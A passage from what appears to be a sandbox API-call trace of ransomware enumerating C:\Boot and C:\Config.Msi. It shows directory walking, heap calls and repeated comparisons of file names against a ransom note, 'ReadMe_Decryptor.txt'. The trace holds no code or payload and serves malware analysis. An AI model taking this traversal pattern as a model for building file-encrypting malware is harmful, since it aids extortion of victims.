ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0035.170] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564d78 [0035.170] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d78 | out: hHeap=0x540000) returned 1 [0035.171] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0035.171] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x557c78 [0035.171] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0035.171] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0035.171] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0035.171] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.171] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0035.171] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.171] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0035.171] FindClose (in: hFindFile=0x563880 | out: hFindFile=0x563880) returned 1 [0035.171] FindFirstFileExW (in: lpFileName="C:\\Boot\\*", fInfoLevelId=0x0, lpFindFileData=0x235f880, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f880) returned 0x563880 [0035.171] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.171] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0035.171] lstrcmpW (lpString1="BCD", lpString2="ReadMe_Decryptor.txt") returned -1 [0035.171] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0035.171] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0035.171] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0035.171] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0035.171] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0035.171] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0035.171] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0035.171] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0035.171] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0035.171] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0035.171] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0035.171] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0035.171] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0035.171] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0035.172] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0035.172] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0035.172] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0035.172] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0035.172] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0035.172] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0035.172] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0035.172] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0035.172] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0035.172] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0035.172] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0035.172] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0035.172] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0035.172] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0035.172] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0035.172] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0035.172] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0035.172] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0035.172] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0035.172] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.172] FindClose (in: hFindFile=0x563880 | out: hFindFile=0x563880) returned 1 [0035.172] FindNextFileW (in: hFindFile=0x5597f8, lpFindFileData=0x235fb70 | out: lpFindFileData=0x235fb70*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0035.172] FindNextFileW (in: hFindFile=0x5597f8, lpFindFileData=0x235fb70 | out: lpFindFileData=0x235fb70*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0035.172] FindNextFileW (in: hFindFile=0x5597f8, lpFindFileData=0x235fb70 | out: lpFindFileData=0x235fb70*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0035.172] lstrcmpW (lpString1="Config.Msi", lpString2=".") returned 1 [0035.172] lstrcmpW (lpString1="Config.Msi", lpString2="..") returned 1 [0035.172] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.172] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.172] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.172] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.172] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.172] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.172] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.172] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x563880 [0035.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563880 | out: hHeap=0x540000) returned 1 [0035.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x563880 [0035.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563880 | out: hHeap=0x540000) returned 1 [0035.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x563880 [0035.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563880 | out: hHeap=0x540000) returned 1 [0035.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb458 [0035.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0035.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0035.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x561fe0 [0035.173] FindFirstFileExW (in: lpFileName="C:\\Config.Msi\\*", fInfoLevelId=0x0, lpFindFileData=0x235f880, fSearchOp=0x0, lpSearchFilter=0x0, 